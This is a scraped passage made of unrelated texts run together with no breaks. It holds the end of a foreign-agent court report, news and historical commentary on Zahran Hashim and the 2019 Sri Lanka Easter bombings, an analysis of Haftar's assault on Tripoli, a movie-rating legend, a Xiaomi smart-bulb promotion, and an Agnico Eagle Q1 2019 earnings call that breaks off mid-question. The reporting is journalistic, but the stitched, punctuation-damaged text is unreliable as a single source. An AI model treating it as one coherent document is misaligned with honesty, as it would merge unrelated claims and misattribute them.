United States. "I wanted a future here in international policy," she said, voice breaking. She added that she only wanted to work towards better US-Russian relations. "If I had known to register as a foreign agent I would have done so," she told the court. Zahran Hashim's sword-wielding zealotry fuelled fears in the sleepy east coast town of Kattankudy long before the cleric became Sri Lanka's most wanted man over the horrific Easter Sunday suicide attacks. Kattankudy: Zahran Hashim's sword-wielding zealotry fuelled fears in the sleepy east coast town of Kattankudy long before the cleric became Sri Lanka's most wanted man over the horrific Easter Sunday suicide attacks. The country's president announced on Friday that Hashim led and died in the attack on the Shangri-La hotel in Colombo one of three hotels and three churches hit by bombers wearing explosive backpacks. The round-faced preacher headed the extremist Muslim group blamed for the bombings which left more than 250 dead. He featured in a video released by the Islamic State group when it claimed responsibility. Heavy security surrounded the main mosque in the Muslim-majority town of Kattankudy, where religious leaders say they sounded the alarm about Hashim years ago, beginning with his expulsion from a seminary during his teens. "It was the first time a student has been expelled for being a hardliner," said Mohammed Buhary Mohammed Fahim, a senior official at the Jamiathul Falah seminary who was a younger contemporary of Hashim's at the school. "When he arrived here at the age of 12, he was clearly very intelligent, very studious, and asked lots of questions. He was popular and sociable," Fahim told AFP. 'Very violent people' But things began to change as Hashim grew older, with Fahim blaming his exposure to books and CDs extolling a fundamentalist vision of Islam. "He basically went off-course... We teach moderate Islam here but he was a hardliner." When Hashim sought to influence his fellow students, parents complained to the seminary chiefs and the school asked him to leave. After a few years away he returned to Kattankudy, founded the National Thowheeth Jama'ath (NTJ) group, and worked with some former classmates to build a mosque where he could preach and share his rabble-rousing sermons. "He was a good orator... he would pick and choose words from the Koran and twist and misuse them", one official at a local mosque told AFP. He spoke on condition of anonymity, saying he was terrified of reprisals from Hashim's followers. "These are very violent people. If they know who I am, they can just shoot me in the street," he said. Hashim's violent streak attracted police attention three years ago when he brandished a sword during clashes with members of another Muslim organisation, the official said. But just as the net seemed to be closing in, he went into hiding with some followers, operating what appeared to be an NTJ breakaway group that was linked to vandalism attacks on Buddhist statues in Sri Lanka in December. 'Big mistake' According to Hilmy Ahamed, vice-president of the Muslim Council of Sri Lanka, Hashim shifted base to southern India. "All his videos have been uploaded from India. He uses boats of smugglers to travel back and forth from southern India," he told AFP. India warned Sri Lanka that suicide attacks were possible weeks before the bombers walked into three churches and three hotels on Easter Sunday. India's warning was based on videos and other Islamic State-influenced material seized from raids in southern Tamil Nadu state in 2018. At the largely deserted NTJ mosque in Kattankudy, adherents brushed off any suggestion of continuing ties with Hashim. "Because of Zahran the mosque has got a bad name now. We have had no contact with him for two years... We have no connection to him, he is not a member of the NTJ," said chief cleric Mohammed Yoousuf Mohammed Thoufeek. Thoufeek said he has been questioned by police several times since the attacks. Despite the link to Hashim, the mosque appeared to be functioning normally on Thursday evening, though only about a dozen worshippers attended prayers. "When the attacks happened, even we couldn't imagine that he would do something like this," said the unnamed mosque official. "The police made a big mistake. If they had arrested him in the beginning they could have stopped this. All this could have been avoided." Islam, Christianity and Colonialism collided with greed in the Indian Ocean, creating an ideological storm that is far from spent. Islam arrived on the island around 9CE, and local monarchs encouraged the traders to marry into the community. But the arrival of European powers in 1505 gave rise to the anti-Muslim hostility Four weeks before Easter, one Sunday morning in March 1764, the alarm rang out at the spice-trading fortress at Dharmapatnam. Two Moors, having entered the Portuguese church there while they were at Mass, cut down one Lizardo Evan, who died immediately, and wounded several others, without known provocation, a colonial civil servant recorded. The bodies of the above Moors were immediately ordered to be thrown into the sea so that they may not be worshipped as saints as is the practice by their cast(e) of all those who murder a Christian. Two-and-a-half centuries after that suicide attack, among many that took place during the time, some known provocations have been held to make sense of the grim carnage in Colombo: political Islam, the Islamic State, communal conflict. But, behind the slaughter is also a little-known story of spice, gold and blood that stretches back centuries. In this great arcfrom the trading ports of Gujarat to the Malabar Coast, down to Sri Lanka, Maldives and across the Indian Ocean to Aceh and the PhilippinesIslam, Christianity and colonialism collided with greed, creating an ideological storm that is far from spent. For Indians, its particularly important to understand the story. Indias intelligence and police services have long believed that the next major attack would emanate from government-backed jihadist groups in Pakistan. Now, however, independent jihadist groups perched around the Indian Ocean rim many of them hostile to the Pakistani state have demonstrated the intention, and capability, to usher in a new age of terror. Fathers and sons Till Easter Sunday morning, Mohammed Yusuf Ibrahim was among Sri Lankas most respected spice traders. From his offices on Old Moor Street, cinnamon, nutmeg, pepper, and cloves made their way across the world. A leading figure in the Left-leaning Janatha Vimukthi Peramuna party, Ibrahim counted minister for industry and commerce Rishath Bathiudeen among his friends along with former president Mahinda Rajapaksa. Then, his oldest sons 33-year-old Inshaf Ahmed Ibrahim and 31-year-old Ilham Ahmed Ibrahim left the familys luxury home in Dematagoda and blew themselves up at the Cinnamon Grand and Kingsbury hotels. Fatima, Inshafs wife, blew herself up with her unborn child and three young sons when the police raided the third storey of the family mansion, Indian intelligence sources have told Firstpost. Three police personnel were also killed in the explosion. Fatima is believed to be present amid a group of veiled suicide bombers whose images were released by the jihadist organisation on Tuesday night, swearing allegiance to Islamic State, intelligence sources say. She is standing on the right of the frame, next to her husband. Her brother-in-law too is in the picture. My brother-in-law is a psychopath, Fatimas brother Ashkhan Alawdeen said. He deserves to be punished in hell. Investigators believe it was at Inshafs Colossus Copper, a manufacturing facility in an industrial estate east of Colombo, that suicide vests were fabricated. The bolts and screws that filled the devices came from the factory. From Ismail Ibrahim, the familys youngest son a fugitive from the police investigators also hope to gather information on training camps run for the Easter attackers at a remote compound in Wanathawilluwa. Early this year, the police seized stockpiles of explosives, detonators and ammunition from the compound for bombing Buddhist monuments in the city of Anuradhapura. Led by Zahran Hashim, a small-time cleric, Ismail and other men trained at Wanathawilluwa played a role in attacks late last year to destroy Buddhist shrines and Church crosses, sources close to the investigation say. In March, they assassinated Mohamed Razzak Taslim, secretary to highways minister Kabir Hashim, an outspoken critic of Islamists. Founded as a franchise of the Tamil Nadu Tawhid Jamaat (TNTJ), Hashims Islamist-leaning political group used its model of social-welfare activities blood-donation camps and protests against liquor and films alleged to be offensive to Islam as a model. Even though Hashims polemic became increasingly pro-Islamic State, he was seen simply as a publicity-hungry small-time politician on the make. What tipped Hashmi from being a neo-fundamentalist to a terrorist will emerge slowly, but this we know: his journey traversed ground covered by many others across the region over the centuries. Tides of hate Know then that there are two kinds of unbelievers, wrote the cleric and historian Zainuddin Makhdoom in 1583. The kind that dwelt in their own countries had to be subjected to jihad, but this was an obligation for the entire Islamic nation, not individual Muslims, the cleric wrote. There was another kind of unbeliever, too, he went on, who invaded Muslim territories. Engaging in war in such circumstances is the responsibility of every able-bodied individual adult Muslim, Makhdoom argued. In his masterwork the Tuhfat al-Mujahideen, Makhdoom chronicled the wars between the Portuguese and the Indian ocean Muslims that raged from 1498-1593. Portugal had treated Muslims with savagery, destroying their trade, killing men, kidnapping Muslim women and raping them in custody to produce Christian children, Makhdoom wrote. Like the magnificent palaces, temples, and shrines that stud tourism brochures, hate also has a venerable lineage in Sri Lanka. Islam arrived on the island, historians say, around 9CE, carried there by traders from the Persian Gulf, seeking spices and silk. The arrival of European powers in 1505 crippled the community. The Portuguese pushed local monarchs to limit the Muslims share of Indian Ocean trade. The Dutch, in turn, refused to allow Muslim merchants to reside inside the Fort and Pettah merchant district of Colombo. Profit underpinned colonial anti-Muslim hostility. Even in 1499, Vasco da Gama knew that a hundred-weight of pepper, sold in Venice for eighty ducats, could be bought at Calicut for three ducats only. But,the troubled relationship of European Christianity with Islam fed and fuelled imperial tyranny. In 1802, though the Muslims found allies in the newly-arrived British. Keppetipola Disawes rebellion of 1817-18 against British rule in Kandy was resisted by the Muslimsa sign of the politicisation of religious identity. Elite Muslims, from the late 1800s, began wearing the fez, and all-enveloping veils for women made their first appearance. The Zahira College, founded in 1892, played an important role in propagating a new Arabised-Muslim identity, sundered from the wider Sri Lankan milieu. Late on the evening of May 28, 1915, the police turned back a Buddhist procession passing a mosque on Castle Hill Street in Kandy, where worshippers had litigated against the use of musical instruments. Large-scale violence followed. Anagarika Dharmapala, the highly regarded Buddhist revivalist, responded by casting the Muslims as an alien people (who) by Shylockian methods became prosperous like the Jews. This climate of communal tension led the Muslim community to wall itself off. The Tablighi Jamaat, a neo-fundamentalist proselytising movement, began to grow roots among a new generation of Muslims in the early years of this century, driven in part by the wash of cash coming in from West Asia-based religious organisations. In 2005, anthropologist Victor de Munck noted that young Muslims had begun to reject syncretic traditions and practices and embrace neo-fundamentalism instead. Ever since, Muslim-Sinhala tensions has flared periodically with Sinhala chauvinist Bodu Bala Sena playing an increasingly aggressively role. In 2014, tension exploded in the towns of Aluthgama, Beruwala and Dharga following an attack on the monk Ayagama Samitha. After today, if a single marakkalaya (derogatory term for Muslim) or some other paraya (outcast) touches a single Sinhalese, it will be their end, the Sena leader Galagoda Aththe Gnanasara proclaimed at a rally. The violence escalated in 2018 after a bizarre video surfaced showing show a Muslim restaurant owner, held hostage by a mob, confessing to mixing birth-control pills in the food. Muslims are self-alienating from the mainstream society, Ameer Ali, a prominent Sri Lankan Islamic scholar, said last year. He could have added that the sword of hate cuts both ways: each attack deepens their exclusion and isolation, too. The call to war Framed by thick, black spectacles, protected from the cold by a monkey-cap and a scraggly beard, the young men staring out of the magazine page could have been one of the legions of graduate students loitering outside New Delhis universities on a winter afternoon. May Allah accept Abu Shurayh and have mercy on him and all those who gave their life, wealth and time for the cause of Allah, whose actions continue to inspire and awaken the Muslim nation, read the text next to the photograph. Mohammad Muhsin Nilam, as his friends knew Abu Shurayh, was killed in an air strike on Raqqa, the Islamic States capital, in the months before his obituary appeared in the terrorist groups house magazine in November 2015. His story is key to understanding the networks thought to be responsible for the weekends carnage in Colombo. Educated in sharia law at Islamabads International Islamic University, an institution where Osama bin Ladens mentor Abdullah Azzam once taught, Nilam had encountered neo-fundamentalist Islam with the Tablighi Jamaat. In 2011, when Nilam returned home to Werellagama, in Sri Lankas Kandy district, the region had begun to witness growing Sinhala-Muslim tensions. Nilam first worked as a part-time Urdu instructor at Colombo University, and then became principal of a school in Galewala. In his spare time, he began to play a key role in Zahrans group. Then, in 2014, he took leave, telling school administrators he was going on a pilgrimage with his six children, pregnant wife, and ageing parents. Instead, the police found, the family caught a flight to Turkey and disappeared across the border into Syria. In a post on his Facebook page, Nilam superimposed these words on the visage of the Islamic States self-proclaimed caliph, Ibrahim Awad al-Badri: We will kill every man, woman, child, Shia, Sunni, Zoroastrians, Kurds, Christians. Nilam wasnt the only Sri Lankan fighting with the Islamic State. At least 36 people, including Nilams friend, Thauqeer Ahmed Thajudeen, are confirmed to have joined the Islamic State. The numbers could be as high as 100. Early in this decade, Colombos Islamic seminaries emerged as a crucible for new Islamist currents, sympathetic to the Islamic State and the al-Qaedaa process helped by the countrys relatively liberal visa regime that allowed Indians, Pakistanis, Bangladeshis and Maldivians to meet with ease. Abdul Rashid, the Islamist preacher who in 2016 led a group of 18 Kerala residents, three of them children, and two pregnant women, to live with the Islamic State in Afghanistans Nangarhar, was expelled from the al-Quma seminary in Colombo because of his speeches advocating violent jihadist actions. Even though Indias National Investigation Agency flagged Zahrans circle as a security concern after that case, Sri Lankan authorities showed no interest in mounting surveillance on the group. Kunjali Marakkar, or so a Malabar Coast legend goes, left his own wedding to rescue an innocent girl kidnapped by the Portuguese. He fought bravely, and succeeded in liberating the girl, but was cut down in the process. His limbs, severed by Portuguese swords, washed up on the shoreand at each place they landed, great miracles occurred, evidence of the great power of martyrdom. Islamic communities across the Indian Ocean have similar myths: to die as a martyr is nothing, goes one song from Aceh, in Indonesia, it is like being tickled until we fall. Then comes a heavenly princess/If the heavenly princess were visible/everyone would go and fight the Dutch. The men who killed, and died, on Easter Sunday, had seen the princess. Zahran and other spice coast jihadists are, in their own imagination, inheritors of this tradition. Blood, the work of the scholar Stephen Dale teaches us, defined what he calls an Islamic Frontier, the site of the great historic collision between the faith and its adversaries. This border was drawn, yet again, on Easter Sunday. Libya is seeing a standoff between Islamists and Saudi-backed Madkhalists Political transition in West Asia and North Africa operates on the principle of The King is dead, long live the King. Libyas battle for Tripoli alongside mass anti-government demonstrations that have toppled autocratic leaders of Algeria and Sudan demonstrate that both popular Arab protests that in 2011 forced four presidents out and the counterrevolution they provoked are alive and kicking. Protesters in Algeria and Sudan are determined to prevent a repeat of Egypt, where a United Arab Emirates and Saudi-backed military officer rolled back the gains of their revolt to install a dictatorship, or of Yemen, Libya and Syria that have suffered civil wars aggravated by interference of foreign powers. In Libya, Field Marshal Khalifa Belqasim Haftar, the UAE-Saudi-Egyptian-backed warlord, hopes that his assault on the capital Tripoli, the seat of the countrys United Nations-recognised government, will either end the conflict militarily or at the very least, significantly increase his leverage in peace talks. For now, the offensive has waylaid a UN-sponsored peace conference that was expected to achieve an agreement that would have ensured that Islamists would continue to be part of the Libyan power structure. Haftar, like his regional backers, accuses the Tripoli government of being dominated by Islamists, the bete noire of the UAE, Egypt and Saudi Arabia, whose preferred religious group, the Madkhalists, is an important element in the field marshals Libyan National Army (LNA). On a visit to Saudi Arabia days before launching his attack on Tripoli, Haftar reportedly was promised millions of dollars in support in talks with Saudi King Salman, and his powerful son, Crown Prince Mohammed bin Salman, in defiance of a UN arms embargo. Inspired by Saudi Salafi preacher, Sheikh Rabi Ibn Hadi Umair al-Madkhali, a former dean of the study of the Prophet Mohammeds deeds and sayings at the Islamic University of Medina, Madkhalists seek to marginalise Islamists and political Salafists by projecting themselves as preachers of the authentic message in a world of false prophets and moral decay. They propagate absolute obedience to the ruler and abstention from politics, the reason why toppled Libyan leader Muammar Gaddafi tolerated them during his rule. The battle for Libya could prove to be Haftars most difficult military offensive. His LNA already controls Libyas second city of Benghazi and much of rest of the country, where it met relatively little resistance. It also serves as a warning to protesters in Sudan whose demands for fundamental change risk upsetting the UAE, Saudi Arabia and Egypts applecart. The three counterrevolutionary states welcomed the toppling of Sudanese leader Omar al-Bashir as a way of removing Islamists from the countrys power structure but are unlikely to want to see the emergence of a truly democratic government that relegates the military to barracks. With no swift victory in sight in the battle for Tripoli, Libya risks another round of protracted war that could be aggravated by the fact that it is as much a domestic fight as it is a multi-layered proxy war. Though the spectre of civil war like in Syria looms, Libya is different in the sense that it is a fight involving foreign-backed militias rather than that of an autocratic incumbent supported by some foreign powers against an array of militias backed by disparate regional players opposed to one another. That does not mean that war would be less devastating. Thousands are already fleeing the southern suburbs of Tripoli. The United Nations Office for the Coordination of Humanitarian Affairs (OCHA) warned that half a million children were at risk. The fighting also threatens to disrupt Libyan oil exports and spark a renewed wave of migration across the Mediterranean to Europe. The risks are heightened by the fact that the Tripoli government is backed by Turkey and Qatar, the two regional powers opposed to the UAE, Saudi Arabia and Egypts designs. Qatar has been the target of a 22-month old economic and diplomatic boycott while in Syria, Turkey is facing off with groups supported by the Saudis and Emiratis. If that were not enough, Haftars fight with the Tripoli government has also turned into a battle between Italy and France for control of Libyas oil resources, with France providing military advisers and intelligence to the field marshal and Italy backing the government. Russia has printed Libyan dinars to help Haftar fund his operations. Unlike Sudan, Libya has passed the corner. Years of civil and proxy wars have devastated the country and laid the ground for more violence. Algeria and Sudan still have a chance of avoiding the fate of Libya, or for that matter, Syria and Yemen. To ensure peaceful transitions in the two countries, restraint will have to guide the military and security services as well as the protesters with the support of the international community. For now, the military and its associated elite in Algeria appeared to be more assertive in its attempts to maintain its grip on power. In Sudan, the armed forces have so far adopted a more accommodating approach. As the battle in Tripoli unfolds, Libya emerges as a live example of what is at stake. Protesters are up against forces whose backers have proven that there is little they will shy away from achieving their objectives. The Kings fate is at stake in the fighting in streets of southern Tripoli. His fate hangs like a sword of Damocles in the balance, in the streets of Algiers and Khartoum. (James M Dorsey is a senior fellow at Singapores S. Rajaratnam School of International Studies as well as its Middle East Institute) worth paying multiplex prices for worth a look, but wait for DVD, unless your favorite actor is in it give it a miss my reaction under consideration my reaction under gag order for now not yet seen by me Xiaomi introduced its Mi LED Smart Bulb along with its Redmi Y3 launch in India event earlier this week. As promised, it has started crowdfunding for smart bulb in the country. It is a 10W bulb with 800 Lumens of brightness, comes with support for Amazon Alexa as well as Google Assistant, and doesnt require a separate bridge like Philips Hue. It comes with E27 socket so you have to purchase the B22 converter separately. Highlights of Mi LED Smart Bulb 16 million colors, 1700k to 6500k color temperature and 80 to 800 lumens adjustment, scheduling, power on or off through the app Sunrise mode imitates the sunrise to gently ease you awake. Sunset mode creates snug atmosphere before bed. Turn the light on or off, adjust the brightness, color or color temperature through Amazon Alexa or Google Assistant Doesnt require a bridge, and can be connected to WiFi via Mi Home App Cross Pattern exterior gives the bulb a gentle appearance while ensuring heat is easily dissipated. Outer filter is made of highly transparent light-diffusing material, and the plastic covered aluminum structure allows for even more heat dissipation, ensuring a long life for the bulb Over 11 years of long life span (with about 6 hours of use per day) The Mi LED Smart Bulb is priced at Rs. 999 (Rs. 300 off compared to normal rate) and is available for crowdfunding through Mi.com till May 5th. The crowdfunding goal is 4000, and it will start shipping from May 20th. Agnico Eagle Mines Ltd (NYSE:AEM) Q1 2019 Earnings Call , 8:30 a.m. ET Contents: Prepared Remarks Questions and Answers Call Participants Prepared Remarks: Operator -- Good morning. My name is Karina and I will be your conference operator today. At this time, I would like to welcome everyone to the Agnico Eagle First Quarter Results 2019 Conference Call. All lines have been placed on mute to prevent any background noise. After the speakers' remarks, there will be a question-and-answer session. (Operator Instructions) Thank you. Mr. Sean Boyd, you may begin your conference. Sean Boyd -- Chief Executive Officer Thank you, operator and good morning everyone and welcome to our first quarter 2019 conference call. We're going to be going through some forward-looking statements today, so please be forewarned. Just to sort of step back and look at 2019 as we've said we expect record production at 1.75 million ounces at cash costs in the midpoint of the range of $645 and all-in sustaining cost of the midpoint in the range of $900. After the first quarter, we're tracking extremely well toward that target and will be revisiting those numbers in our second quarter update in late July as we move through the commissioning both Meliadine and Amaruq. So the other thing that I think we've been focused on this year is just simply the execution of those two projects, because what that does in the second half of the year, it drives a significant bump in production in earnings per share and also in cash flow per share. From a quarterly perspective, we produced almost 400,000 ounces of which about 18,000 ounces came from Meliadine in the pre-commercial stage report, our first part Meliadine in the third week of February. Our cash cost in the quarter were very good. We'll talk about some of the components of that at $623, all-in sustaining cost at $836. At Meliadine, as we mentioned, we're very close to commercial production. We will expect commercial production in May. At Amaruq, we would expect commercial production in the third quarter of this year. So everything is tracking well. Both projects are ahead of the original schedule and we would expect both projects to come in slightly below the total budget for both projects which was $1.23 billion. We also had some exploration results in our press release. We continue to get good results at Amaruq. In the underground, we've got some interesting new results at Santa Gertrudis, what looks like a higher grade structure in the area of past mining small pit and at Kirkland Lake and Upper Beaver were extending the mineralization there. So these are three projects that we've talked about providing an update as we move through the balance of this year and the update we'll continue obviously the exploration, but also will give you a project update on potential development scenarios for those projects as we move through the balance of this year. Looking at the specific properties and the contribution to production of almost 400,000 ounces. If we look at the Abitibi and look at LaRonde, Goldex and Canadian Malartic, we produced a combined a little over 200,000 ounces. The weighted average cash cost of those mines for the quarter was $544 an ounce, so we're getting good performance and good cash generation coming out of our operations in the Abitibi. We also had good production at Kittila, almost 50,000 ounces. We continue to produce good quantities of gold at Meadowbank as we continuing to mine in Portage, so that's extended a little bit longer than we had expected and we talked about the 18,000 ounces roughly coming out of Meliadine in pre-commercial production. In Mexico, combined cash costs for those operations, below $600. So those mines continue to generate good cash flow. So if you think about roughly 400,000 ounces of production in the quarter, that's roughly what we've been averaging per quarter for the last several years plus or minus, but as we move into the second half of this year and into 2020 when we expect to produce 2 million ounces and then go beyond 2 million ounces post 2020, we'll have quarters of 500,000 ounces plus, which is really the inflection point that we've been talking about in terms of both earnings per share and cash flow per share. Just going to the earnings and cash flow for the quarter, normalized was $0.14. So good quarter from an earnings perspective. Operating cash flow, $0.63. But as we said, as we go into the second half, we would expect to see improvements in both of those financial metrics. The balance sheet, we closed the quarter with about $200 million in cash. Good position as we move forward given the financial flexibility that we will have moving into the second half as we ramp-up production. We will talk a little bit about the assets, talking about LaRonde, produced 77,000 ounces in the first quarter. We would expect to see higher rates in the second half of this year. That's just simply due to mining sequence and the mine. We will have about a 10-day maintenance shutdown in May of this year, will be offsetting some of that with material from the LZ5 Zone net storage. LZ5 continues to generate good cash, but I think the importance of that particular operation is the testing of the automated equipment. So good cash flow, good return on investment there, but also allowing us to test our automated mining equipment and communication system. Canadian Malartic, over 80,000 ounces, work on the Barnat Extension is going according to plan. We would expect to begin production in late 2019 on Barnat. So no change to that schedule. We have a very active exploration program ongoing at Canadian Malartic, focused largely on underground opportunities and zones there, but it's still early there. Still a lot more work to do. Nothing has been approved in terms of additional capital to move forward there, but all we can really say at this point is there's active exploration going on there. We continue to add to our land package there. We continue to fill-in the blanks and open spaces on that belt and the partnership just picked up the Rand Malartic property, which is immediately to the east of the Canadian Malartic ground and there is potential for the zones to continue onto that ground. At Goldex, a record production since restarted at 2013, seeing some high-grade coming under the south zone, which is not unexpected. That is a higher grade area, although small. We'll see continued tonnage coming out of the south zone for the balance of this year. The Akasaba project is still on hold. It's a quality project, but in terms of capital allocation it's one that we've just put on hold for the moment. We would expect at some point to give us the go-ahead given that it meets our investment hurdle rate and we can leverage-off of the existing skills that we have at Goldex. At Meadowbank, 44,000 ounces. So as we said, we're winding down the deposits in and around the Meadowbank processing facilities, but I think it's important just to stop and reflect on how effective the transition has been in Nunavut from the Meadowbank deposits to the Amaruq satellite deposit. As we roll back two or three years ago, there was an expectation that we would possibly be faced with a 12 to 18 months gap in production and at the time all we can say, it was just allow our people to work through the issues and the opportunities and come up with a plan that narrowed that production gap and also allowed for seamless transition from the Meadowbank deposits to the new Amaruq deposits and they've done an exceptional job because that's had a very positive impact on the workforce, because there is no negative impact of having people without a job for a period of time. So very good work from that team. And we've been transitioning both people and equipment to the Amaruq facility and we've also completed all the mill upgrade work at Meadowbank for the Amaruq material. So Amaruq is well advanced in terms of dewatering and mining and truck fleet. We're still working on permits for the Whale Tail and the V Zone expansion. we would expect to get those in late 2020. There's nothing special about those permits compared to the permits we've already been issued to start Whale Tail. So we don't see any issue with that. And I think it will be -- we're still very much focused on the underground opportunity at Amaruq and how we can potentially bring that into production at the same time as we're mining the pit, because that could have a significant impact on the production profile for two or three years where they are potentially operating at the same time. So we'll have an update as we move through the balance of this year on our thoughts around the Amaruq underground opportunity. At Meliadine, we've talked about. It's going well in terms of commissioning. We poured our first bar as we said in the third quarter of February. We're getting good recoveries. We're ramping up the mining rate. There is no showstoppers there. We're confident on our guidance this year. We continue to get good exploration results there, demonstrating that the deposit continues at depth with good grades and decent thicknesses. So I think also looking at that decision back in early 2017 to invest $900 million, that was the right decision. Timing was right. We had slowed the projects down in 2016. We got better prepared and as a result that project is ahead of schedule as we said and low budget. So good decision and I think that decision, how positive that is, is really reflected in the fact that although the economic study was done on 14 years of mine life, we have an extensive resource and we see with the latest drilling at deposit is likely going to continue to grow. At Kittila, we talked about solid production quarter at 49,000 ounces. We will have a scheduled shutdown to realign the autoclave in this quarter. So that's done every four to five years. So that was in our plan. So it doesn't impact our guidance at all and we continue to push forward on the mill expansion and the shaft project. In the southern business, as we said at the start, very good performance from a cost per ounce standpoint and from a cash generating standpoint. So they continue to operate effectively, generate good solid cash flow while they worked on satellite deposit such as Sinter and Cubiro and Reyna de Plata, effectively just leveraging-off of infrastructure and skills in the region to maximize our investment there. Creston Mascota also good cost performance and good production in the quarter. At La India, we continue to focus on expanding the heap leach and the ore stacking which is going well and we're drilling the El Realito Satellite Zone which we are going to expect to extend the mine life at La India. From an exploration standpoint before I open it up for questions, just wanted to highlight Santa Gertrudis. We bought that in December, before December 2017 and we've got some nice high grade intersections on an area that had some past small open-pit mining on it. Interesting opportunity because we feel if we extend the drill hole, some of the earlier drill hole did not extend enough to capture what we see as a potential new zone. So already almost 1 million ounces. So we would expect that to continue to grow and that's the type of tailor-made project for our skill-set in Mexico. Right region, Sonora, we know how to operate there with La India. So as we said earlier, we will be providing an update on that project as we move through this year. So operator, I'd like to open the line for questions. Questions and Answers: Operator -- Thank you. (Operator Instructions) Your first question comes from the line of Fahad Tariq with Credit Suisse. Please go ahead. Fahad Tariq -- Credit Suisse Securities LLC -- Analyst For Meliadine, you mentioned that mill throughput for the second quarter will be 3,000 tons per day. Curious what was the average in April so far? And you mentioned that the plan has gone up to 3,700 tons on several occasions, is that the right way to think about maybe the potential run rate or close to that for the second half of the year? Thanks. Sean Boyd -- Chief Executive Officer Yeah, I think we're targeting about 30 to 50 for the rest of the year roughly and the plant has been averaging close to 3,000 tons per day and it has operated at the higher throughput that you quoted. Fahad Tariq -- Credit Suisse Securities LLC -- Analyst Okay, great. And then just switching gears for a second, more on capital allocation. As the free cash flow profile gets better in the second half of the year and certainly in 2020, How do you think about higher dividend, debt repayment coming due in 2020 and maybe keeping dry powder for potential asset acquisitions from the other large M&A divestitures, maybe some color on the way you're thinking about that strategy? Sean Boyd -- Chief Executive Officer Yeah. I think it's a balance. It will clearly be given the track record of paying a dividend for 36 years. We'll certainly be looking to increase the dividend. The dividend in fact in total dollars has gone up in each of the last five years. So that was done during a period when gold was relatively flat at $1200 and we were in a biggest capital program in our history. So we've clearly indicated that that's important. And as we also said we're working on some key projects in terms of development opportunities in Kirkland Lake at Upper Beaver, Santa Gertrudis, the Amaruq underground. So certainly, there'll be capital at some point allocated there and that capital will be allocated at a time when we start to wind-down the capital in Finland, but the shaft in mill expansion. So I think those are timed fairly well. Debt repayment is also a focus. We have a maturity next year. So certainly, we'd like to improve our financial flexibility. So looking at all those three options and as we said, we're in that sweet spot in terms of capital coming down dramatically from the average over the last two years when production is rising significantly in the second half of the year. So good position at the end. Fahad Tariq -- Credit Suisse Securities LLC -- Analyst Thank you. Operator -- Your next question is from Stephen Walker with RBC Capital Markets. Please go ahead. Stephen Walker -- RBC Capital Markets -- Analyst Thank you, operator Good morning. Just a follow-up question on Meliadine. When we were there last fall and had a look at the plant, given the excess capacity that's been built into the back-end of that plant. There was talk at the time that with a modest investment you could get the plant up to 4,500 maybe 5,000 tons a day plus where are you in the planning process as far as the further optimization and do you have a sense of the capital number that might be required to get it up to these higher levels? Sean Boyd -- Chief Executive Officer At this stage we're entering our next life of mine planning phase and before we complete the commercial production decision, that specific tonnage number we'd like to be in a position to be testing. So we will probably test total capacity of the plant in the next two weeks and we will evaluate as we continue to ramp-up the underground mining and potentially advance some small bits, try to see what's the best scenario, advance the expansion with the bits as originally planned or simply invest in just stripping and accelerate the development underground to maximize the current capacity of the plant. So these are scenarios we are going to be evaluating over the next few months. Stephen Walker -- RBC Capital Markets -- Analyst Just a follow-up on Meliadine as well. In the testing that you're doing so far, with respect to the grinding and residency time in that part of the plant and then the leaching times and the recoveries that you're seeing, is there anything in the metallurgy or the grain size that is different from the original test that suggests that recoveries could be improved or there could be challenges with respect to recoveries or throughputs? Sean Boyd -- Chief Executive Officer No, not at this stage Steve. Front-end and the back-end of the plant have actually responded very strongly. No surprise in that area. We've had some, we've had to adjust in the -- on this ionization circuit introduced slight nitrate in the circuit, but so far recoveries are on plan and there is no concerns about grains or other elements at this stage. Stephen Walker -- RBC Capital Markets -- Analyst Great. And if I might on the Whale Tail ore that you're getting into now, is there anything visible in the metallurgy that wasn't picked up in the drilling, is there anything in the way of additional minerals or types or grain size that wasn't picked up in the original test work? And then secondly, presumably, you're going to start batching that through the Meadowbank plant, when will that occur and if it has occurred already, how is the batch recoveries being or how is the reactivity of that ore through that plant at this stage? Yvon Sylvestre -- Senior Vice President of Operations-Canada and Europe Well, we have commissioned the -- we're in the process of commissioning the gravimetric metric in addition to the Meadowbank plant. So that's ongoing now and say exclusively on Meadowbank ore, recovery is actually going up. We will probably processing some wealthier ore quite later in Q2 because we're sort of progressing with the ramp-up there. And as far as the questions on mineralogy, no surprise at this stage. I think the only area that we've been pleasantly surprise is that the block model on surfaces responded quite well and in grades, in fact these grades have been little bit better in some areas. So that's the encouraging part. Stephen Walker -- RBC Capital Markets -- Analyst Thank you very much Yvon. Operator -- Your next question is from the line of John Tumazos with John Tumazos Very Independent Research. Please go ahead. John Tumazos -- John Tumazos Very Independent Research LLC -- Analyst Thank you. Congratulations on all the progress (inaudible). Sean Boyd -- Chief Executive Officer Thank you. John Tumazos -- John Tumazos Very Independent Research LLC -- Analyst One of the other companies are selling things, I was kind of wondering how you might react if you're looking at considering acquiring a property what rate of return would you require? Or second, would you simply not evaluate the things, because why distract yourself from your good projects to look at someone else's losers or how much should they pay you to look them, I don't know. Sean Boyd -- Chief Executive Officer Yeah. That's a good question. I think that we -- let's have a laugh for a minute. So we see the press release, Newmont Goldcorp and several of us are in the office are quite early, before 6:30 and we had people running around saying, there could be some things coming out of here and I think the message was everybody just got to relax, have a cup of coffee and calm down. We've been doing this for a long, long time and there's no bargains out there. We've never been a company that sort of bought things as fixer uppers, because that doesn't really pay, and it's hard to get a return. The things we tend to pay attention to are those things that we've assessed have geological potential. So we've built this company on assessing geological opportunity and then proving that theory very patiently through consistent drilling and mine building. So that's the framework that we sort of used to determine whether we spend any time on things. So we do have a group that looks at things. But I would say the things we're looking at are more sort of smallish development opportunities in regions and belts rather than buying production to say we're a bigger producer. And if you look at the M&A dance that's going on for the last sort of six months or so or nine months and even going back to 2014 with Barrick and Newmont. If you look at the top five market cap companies we were sort of sitting at number four with Goldcorp following to number five, Newcrest at 3 and then Barrick and Newmont. Every one of those other four companies had talked to each other in some form or another. At Agnico, we typically just minding our business and focused on sort of executing and none of it bringing these projects online, because we could see the inflection point coming in EPS and cash flow per share. And our audience is very much a generalist investor audience and we spent a lot of time focused on that market and that market sort of wants discipline. So that's sort of going on here. I'm getting ready for the AGM. It's at 11 O'clock this morning. So I'm sort of getting pumped up. But I think that the answer is we're going to continue to sort of be disciplined and move forward in a way that drives cash flow per share for our shareholders. John Tumazos -- John Tumazos Very Independent Research LLC -- Analyst Thank you. Operator -- Your next question is from the line of Mike Parkin with National Bank Financial. Please go ahead. Mike Parkin -- National Bank Financial -- Analyst Guys, just a quick question. With the Kittila 